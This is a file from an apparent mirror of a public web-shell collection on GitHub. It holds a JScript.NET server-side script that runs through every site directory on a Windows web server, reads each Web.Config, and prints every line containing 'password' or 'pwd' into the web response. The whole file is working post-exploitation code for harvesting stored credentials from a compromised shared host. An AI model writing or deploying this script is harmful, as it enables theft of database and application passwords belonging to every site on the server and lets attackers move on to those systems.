mirror of
https://github.com/tennc/webshell
synced 2024-11-29 06:30:20 +00:00
56 lines
2.2 KiB
Text
56 lines
2.2 KiB
Text
try{
|
|
var D:String = "C:\\web\\Sites\\";
|
|
var m=new System.IO.DirectoryInfo(D);
|
|
var s=m.GetDirectories();
|
|
var P:String, X:String, Dat:String;
|
|
var i;
|
|
|
|
function SC(Src:String, Key:String):String
|
|
{
|
|
var S:String = Src.ToLower();
|
|
var R:String = "";
|
|
var n:Int32 = 0, nStart:Int32 = 0, j:Int32;
|
|
while(true)
|
|
{
|
|
n = S.IndexOf(Key, n);
|
|
if (n == -1) break;
|
|
nStart = 0;
|
|
for (j=n; j>0; j--)
|
|
{
|
|
if (S.Substring(j,1) == "\n")
|
|
{
|
|
nStart = j+1;
|
|
break;
|
|
}
|
|
}
|
|
n = S.IndexOf("\n", n);
|
|
if (n == -1)
|
|
{
|
|
n = nStart+50;
|
|
}
|
|
R += Src.Substring(nStart,n-nStart).Trim()+"\r\n";
|
|
}
|
|
return R;
|
|
}
|
|
|
|
for(i in s)
|
|
{
|
|
P = D+s[i].Name+"\\Web\\Web.Config";
|
|
if(System.IO.File.Exists(P))
|
|
{
|
|
var T = new System.IO.StreamReader(P,Encoding.Default);
|
|
X = T.ReadToEnd();
|
|
T.Close();
|
|
Dat = SC(X,"password");
|
|
Dat += SC(X,"pwd");
|
|
if (Dat != "")
|
|
{
|
|
Response.Write("---------------------------------------------\r\n"+P+"\r\n");
|
|
Response.Write(Dat);
|
|
}
|
|
}
|
|
}
|
|
//s=m.GetFiles();for(i in s){Response.Write(s[i].Name);}
|
|
|
|
}catch(x){Response.Write(x.Message);}
|
|
|